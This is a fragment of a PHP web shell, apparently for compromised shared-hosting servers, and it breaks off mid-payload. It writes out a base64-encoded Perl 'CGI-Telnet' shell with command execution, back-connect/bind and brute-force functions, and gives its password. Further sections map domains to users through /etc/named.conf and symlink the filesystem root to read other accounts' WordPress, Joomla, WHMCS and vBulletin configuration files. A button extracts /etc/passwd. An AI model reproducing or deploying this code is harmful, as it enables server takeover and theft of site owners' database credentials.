wYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';

$file = fopen("cgi4e.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi4e));
fclose($file);
chmod("cgi4e.izo",0755);
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>CGI-Telnet Version 1.4 </span><br><font face='Tahoma' color='#007700' size='2pt'>Password : virusa</font><center><br><iframe src=cgi4e/cgi4e.izo width=75% height=60% frameborder=0></iframe>
 
</div></center>"; 
}

if(isset($_GET['action']) && $_GET['action'] == 'sym'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Info</span><center><br>';
if(!is_file('named.txt')){

$d00m = @file("/etc/named.conf");

}else{

$d00m = @file("named.txt");


}
if(!$d00m)
{

die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
}
else

{
echo "<div class='tmp'><table align='center' width='40%'><td><font color='#e4e4e4'><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td>";
foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all('#zone "(.*)"#', $dom, $domvw);

flush();

if(strlen(trim($domvw[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));

flush();



$site = $user['name'] ;


@symlink("/","sim/rut");

$site = $domvw[1][0];

$ir = 'ir';

$il = 'il';

if (preg_match("/.^$ir/",$domvw[1][0]) or preg_match("/.^$il/",$domvw[1][0]) )
{
$site = "<div style=' color: #fff600 ; text-shadow: 0px 0px 1px red; '>".$domvw[1][0]."</div>";
}


echo "
<tr>

<td>
<div class='cone'><a target='_blank' href=http://www.".$domvw[1][0]."/>".$site." </a> </div>
</td>


<td><font face='Tahoma' color='#d0d000' size='2pt'>
".$user['name']."
</td></font>






<td>
<div class='cone'><a href='sim/rut/home/".$user['name']."/public_html' target='_blank'>Symlink </a></div>
</td>


</tr></div> ";


flush();
flush();

}
}
}
}
echo "</table></div><br><br>";
}
if(isset($_GET['action']) && $_GET['action'] == 'dose'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cms Scanner</span><center><br>';
if(!@is_file('named.txt')){
$d00m = @file("/etc/named.conf");
}else{
$d00m = @file("named.txt");
}
if(!$d00m)
{
die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
}
else
{
echo "<div class='tmp'>
<table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Script</b></font> </td>";
foreach($d00m as $dom){
flush();
flush();
if(eregi("zone",$dom)){
@preg_match_all('#zone "(.*)"#', $dom, $domvw);
flush();
if(@strlen(trim($domvw[1][0])) > 2){
$user = @posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
$wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp-config.php";
$wpp=@get_headers($wpl);
$wp=$wpp[0];
$wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/wp-config.php";
$wpp2=@get_headers($wp2);
$wp12=$wpp2[0];
$jo1=$pageURL."/sim/rut/home/".$user['name']."/public_html/configuration.php";
$joo=@get_headers($jo1);
$jo=$joo[0];
$jo2=$pageURL."/sim/rut/home/".$user['name']."/public_html/joomla/configuration.php";
$joo2=@get_headers($jo2);
$jo12=$joo2[0];
$vb1=$pageURL."/sim/rut/home/".$user['name']."/public_html/includes/config.php";
$vbb=@get_headers($vb1);
$vb=$vbb[0];
$vb2=$pageURL."/sim/rut/home/".$user['name']."/public_html/vb/includes/config.php";
$vbb2=@get_headers($vb2);
$vb12=$vbb2[0];
$vb3=$pageURL."/sim/rut/home/".$user['name']."/public_html/forum/includes/config.php";
$vbb3=@get_headers($vb3);
$vb13=$vbb3[0];
$wh1=$pageURL."/sim/rut/home/".$user['name']."public_html/clients/configuration.php";
$whh2= @get_headers($wh1);
$wh=$whh2[0];
$wh2=$pageURL."/sim/rut/home/".$user['name']."/public_html/support/configuration.php";
$whh2= @get_headers($wh2);
$wh12=$whh2[0];
$wh3=$pageURL."/sim/rut/home/".$user['name']."/public_html/database.php";
$whh3= @get_headers($wh3);
$wh13=$whh3[0];
$wh5=$pageURL."/sim/rut/home/".$user['name']."/public_html/config.php";
$whh5= @get_headers($wh5);
$wh15=$whh5[0];
$wh4=$pageURL."/sim/rut/home/".$user['name']."/public_html/client/configuration.php";
$whh4= @get_headers($wh4);
$wh14=$whh4[0];
$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config="<div class='cone'><a href='".$wpl."' target='_blank'>Wordpress</a></div>";
}
elseif (strpos($wp12, "200") == true)
{
  $config="<div class='cone'><a href='".$wp2."' target='_blank'>Wordpress</a></div>";
}

elseif (strpos($jo, "200")  == true and strpos($wh15, "200")  == true )
{
$config=" <div class='cone'><a href='".$wh5."' target='_blank'>WHMCS</a></div>";

}
elseif (strpos($wh12, "200")  == true)
{
  $config ="<div class='cone'> <a href='".$wh2."' target='_blank'>WHMCS</a></div>";
}

elseif (strpos($wh13, "200")  == true)
{
$config ="<div class='cone'> <a href='".$wh3."' target='_blank'>WHMCS</a></div>";

}

elseif (strpos($jo, "200")  == true)
{
$config=" <div class='cone'><a href='".$jo1."' target='_blank'>Joomla</a></div>";
}

elseif (strpos($jo12, "200")  == true)
{
$config=" <div class='cone'><a href='".$jo2."' target='_blank'>Joomla</a></div>";
}

elseif (strpos($vb, "200")  == true)
{
$config=" <div class='cone'><a href='".$vb1."' target='_blank'>vBulletin</a></div>";
}

elseif (strpos($vb12, "200")  == true)
{
$config=" <div class='cone'><a href='".$vb2."' target='_blank'>vBulletin</a></div>";
}

elseif (strpos($vb13, "200")  == true)
{
$config=" <div class='cone'><a href='".$vb3."' target='_blank'>vBulletin</a></div>";
}

else
{
continue;
}
flush();
flush();


$site = $user['name'] ;



flush();

echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0]."/>".$domvw[1][0]."</a></div></td>
<td><div class='cone'>".$config."</div></td></tr>"; flush();

}
}
}
}
echo "</table></div><br><br>";
}

if(isset($_GET['action']) && $_GET['action'] == 'vkill'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Perl based symlink</span></center><br>';
echo '<br><div align=center><table width=100% border=0><tr><td align=center></td></tr></table>
<font face="Tahoma" color="#007700" size="2pt">Extract /etc/passwd</font></b><br><br><form method=post>
<input type=submit name=passx value="Extract"><p></form><br>';
	
if(isset($_POST['passx']))
{
echo '<p><textarea class="area" rows="15" cols="50" name="usernames" >';
$users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode("
",$user);
echo $str[0]."
";
}
echo '</textarea></p><br>';
 
}

echo '<p><form method=post>
<font face="Tahoma" color="#ff6000" size="2pt"><input type=submit name=perl value="Perl based  ln -s"></font></form><br>
</p>';
	
if(isset($_POST['perl']))
{
error_reporting(0);

$vw='IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5bfl0gUGFpbiBTeW1saW5rPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoubmV3U3R5bGUxIHsNCiBmb250LWZhbWlseTogVGFob21hOw0KIGZvbnQtc2l6ZTogeC1zbWFsbDsNCiBmb250LXdlaWdodDogYm9sZDsNCiBjb2xvcjogIzAwOTkwMDsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGtvbGE9JG1zci4iLyIuJHVzZXI7DQoka29sYT1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudH